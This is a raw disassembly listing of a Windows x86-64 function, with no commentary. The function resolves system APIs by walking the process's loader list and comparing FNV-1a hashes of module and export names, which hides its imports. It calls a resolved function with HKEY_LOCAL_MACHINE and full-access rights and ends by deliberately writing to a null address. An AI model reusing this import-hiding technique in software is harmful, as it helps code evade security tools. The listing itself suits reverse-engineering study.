jmp 0x140220a91
lea rsi, [rbp + 0x6a0]
mov r10, qword [0x14044bbc0]
test r10, r10
jne 0x140220bfd
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140220b08
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140220afb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140220aec
cmp edx, edi
jne 0x140220be1
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140220be1
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140220be1
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140220b5a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140220b4f
cmp edx, dword [rsp + 0x6c]
je 0x140220b70
test ebx, ebx
jne 0x140220b3b
jmp 0x140220be1
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140220bf6
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140220bf6
mov eax, 0x811c9dc5
mov edi, eax
mov ecx, eax
mov dword [rsp + 0x6c], eax
jmp 0x140220bb4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x140220ba6
add r10, r12
mov al, byte [r10]
test al, al
je 0x140220bde
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x140220bc5
mov dword [rsp + 0x6c], ecx
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x140220bf3
cmp qword [r8 + 0x30], r13
jne 0x140220abb
mov r10, r13
mov qword [0x14044bbc0], r10
mov qword [rsp + 0x40], r13
lea rax, [0x14044b488]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x14044bb38]
test rdx, rdx
jne 0x140220da6
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
mov r15d, 0x811c9dc5
test edi, edi
je 0x140220cb0
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r15d
jmp 0x140220ca2
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x140220c91
cmp r8d, edi
jne 0x140220d95
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x140220d95
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140220d95
mov esi, dword [r11 + 0x20]
dec ebx
lea r8, [rsi + rbx*4]
mov r10d, dword [r8 + r9]
add r10, r9
mov r8d, r15d
jmp 0x140220d02
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r10]
add r10, r12
test dl, dl
jne 0x140220cf5
cmp r8d, r14d
je 0x140220d17
test ebx, ebx
jne 0x140220ce3
jmp 0x140220d95
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140220d9d
lea rax, [r11 + rcx]
cmp rdx, rax
jae 0x140220d9d
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x68], ecx
jmp 0x140220d58
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140220d4a
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140220d7f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140220d67
mov dword [rsp + 0x68], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x68]
mov rax, qword [rax]
jmp 0x140220c5d
mov qword [0x14044bb38], rdx
jmp 0x140220dac
mov r15d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
test rbx, rbx
jne 0x140220f15
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140220e28
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140220e1b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140220e0c
cmp edx, edi
jne 0x140220ef9
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140220ef9
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140220ef9
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140220e78
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140220e6d
cmp edx, dword [rsp + 0x70]
je 0x140220e8e
test ebx, ebx
jne 0x140220e5b
jmp 0x140220ef9
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r11
jbe 0x140220f0e
lea rcx, [r11 + rax]
cmp rbx, rcx
jae 0x140220f0e
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x70], ecx
jmp 0x140220ecf
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140220ec1
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x140220ef6
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x140220ede
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140220f0b
cmp qword [r8 + 0x30], r13
jne 0x140220ddd
mov rbx, r13
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
test rdx, rdx
jne 0x140221084
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140220f97
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140220f8a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140220f7b
cmp edx, edi
jne 0x140221068
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140221068
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140221068
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov edx, r15d
jmp 0x140220fe7
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140220fdc
cmp edx, dword [rsp + 0x74]
je 0x140220ffd
test ebx, ebx
jne 0x140220fca
jmp 0x140221068
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x14022107d
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14022107d
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x74], ecx
jmp 0x14022103e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140221030
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140221065
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14022104d
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14022107a
cmp qword [r8 + 0x30], r13
jne 0x140220f4c
mov rdx, r13
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
test rdx, rdx
jne 0x1402211ea
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1402210fd
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1402210f0
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402210e1
cmp edx, edi
jne 0x1402211ce
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402211ce
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1402211ce
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x14022114d
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140221142
cmp edx, dword [rsp + 0x78]
je 0x140221163
test ebx, ebx
jne 0x140221130
jmp 0x1402211ce
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x1402211e3
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1402211e3
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x78], ecx
jmp 0x1402211a4
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140221196
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x1402211cb
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1402211b3
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1402211e0
cmp qword [r8 + 0x30], r13
jne 0x1402210b2
mov rdx, r13
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
test rdx, rdx
jne 0x140221350
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140221263
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140221256
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x140221247
cmp edx, edi
jne 0x140221334
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x140221334
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140221334
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r14]
add r10, r9
mov edx, r15d
jmp 0x1402212b3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x1402212a8
cmp edx, dword [rsp + 0x7c]
je 0x1402212c9
test ebx, ebx
jne 0x140221296
jmp 0x140221334
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r11
jbe 0x140221349
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x140221349
mov edi, r15d
mov ecx, r15d
mov dword [rsp + 0x7c], ecx
jmp 0x14022130a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1402212fc
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x140221331
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140221319
mov dword [rsp + 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140221346
cmp qword [r8 + 0x30], r13
jne 0x140221218
mov rdx, r13
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
cmp qword [0x14044bb58], r13
jne 0x1402214b3
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x1402213c6
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x1402213b9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402213aa
cmp edx, edi
jne 0x140221497
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140221497
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x140221497
mov r14d, dword [r11 + 0x20]
dec ebx
lea rdx, [r10 + rbx*4]
mov r9d, dword [rdx + r14]
add r9, r10
mov edx, r15d
jmp 0x140221416
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14022140b
cmp edx, dword [rbp - 0x80]
je 0x14022142b
test ebx, ebx
jne 0x1402213f9
jmp 0x140221497
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1402214ac
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x1402214ac
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x80], ecx
jmp 0x14022146b
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x14022145d
add r9, r12
mov al, byte [r9]
test al, al
je 0x140221494
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x14022147c
mov dword [rbp - 0x80], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x1402214a9
cmp qword [r8 + 0x30], r13
jne 0x14022137b
mov r9, r13
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x140221522
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
cmp rcx, r9
je 0x14022150a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402214ee
cmp edx, 0x610c0de3
je 0x140221571
mov r8, qword [r8]
cmp r8, r10
je 0x140221518
cmp qword [r8 + 0x30], r13
jne 0x1402214d6
mov r8, r13
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r9d, dword [rax + r8 + 0x88]
mov r10d, r13d
mov r11d, dword [r9 + r8 + 0x20]
mov eax, r10d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, r15d
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x14022156c
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x140221550
cmp ecx, 0xe463da3c
je 0x140221577
add r10d, r12d
jmp 0x140221536
mov r8, qword [r8 + 0x30]
jmp 0x14022151b
mov edx, dword [r9 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r9 + r8 + 0x24]
add rcx, r8
mov eax, r10d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r14, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x140221711
mov edi, r13d
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r8, qword [rcx]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x140221610
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x140221603
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1402215f4
cmp edx, edi
jne 0x1402216ef
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1402216ef
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1402216ef
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x140221662
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x140221657
cmp edx, dword [rbp - 0x7c]
je 0x14022167d
test ebx, ebx
jne 0x140221643
mov r15d, 0x811c9dc5
jmp 0x1402216ef
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x140221704
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x140221704
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x7c], ecx
jmp 0x1402216c3
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x1402216b5
add r10, r12
mov al, byte [r10]
test al, al
je 0x1402216ec
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x1402216d4
mov dword [rbp - 0x7c], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x140221701
cmp qword [r8 + 0x30], r13
jne 0x1402215c5
mov r10, r13
mov qword [0x14044bb88], r10
mov r15d, 0x811c9dc5
lea r9, [rbp + 0x1198]
mov r8d, r12d
mov edx, 0x5000
mov rcx, r14
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x140221896
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test edi, edi
je 0x14022179b
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r15d
jmp 0x14022178e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14022177f
cmp edx, edi
jne 0x14022187a
mov r9, qword [r8 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14022187a
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14022187a
mov r15d, dword [r11 + 0x20]
dec ebx
lea rdx, [r9 + rbx*4]
mov r10d, dword [rdx + r15]
add r10, r9
mov edx, 0x811c9dc5
jmp 0x1402217ed
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r10]
add r10, r12
test cl, cl
jne 0x1402217e2
cmp edx, dword [rbp - 0x78]
je 0x140221808
test ebx, ebx
jne 0x1402217ce
mov r15d, 0x811c9dc5
jmp 0x14022187a
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + rbx*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r11
jbe 0x14022188f
lea rcx, [rax + r11]
cmp r8, rcx
jae 0x14022188f
mov r15d, 0x811c9dc5
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x78], ecx
jmp 0x14022184e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r8, r12
mov al, byte [r8]
cmp al, 0x2e
jne 0x140221840
add r8, r12
mov al, byte [r8]
test al, al
je 0x140221877
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add r8, r12
mov al, byte [r8]
test al, al
jne 0x14022185f
mov dword [rbp - 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14022188c
cmp qword [r8 + 0x30], r13
jne 0x140221750
mov r8, r13
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r14
call r8
mov qword [0], 0x99
mov rax, qword [rbp + 0x50]
movabs rcx, 0xff00ff00ff00ff07
xor rax, rcx
lea rcx, [rbp + 0x4228]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x41f0]
xor rcx, rsp
call fcn.140268ee0
lea r11, [rsp + 0x4300]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret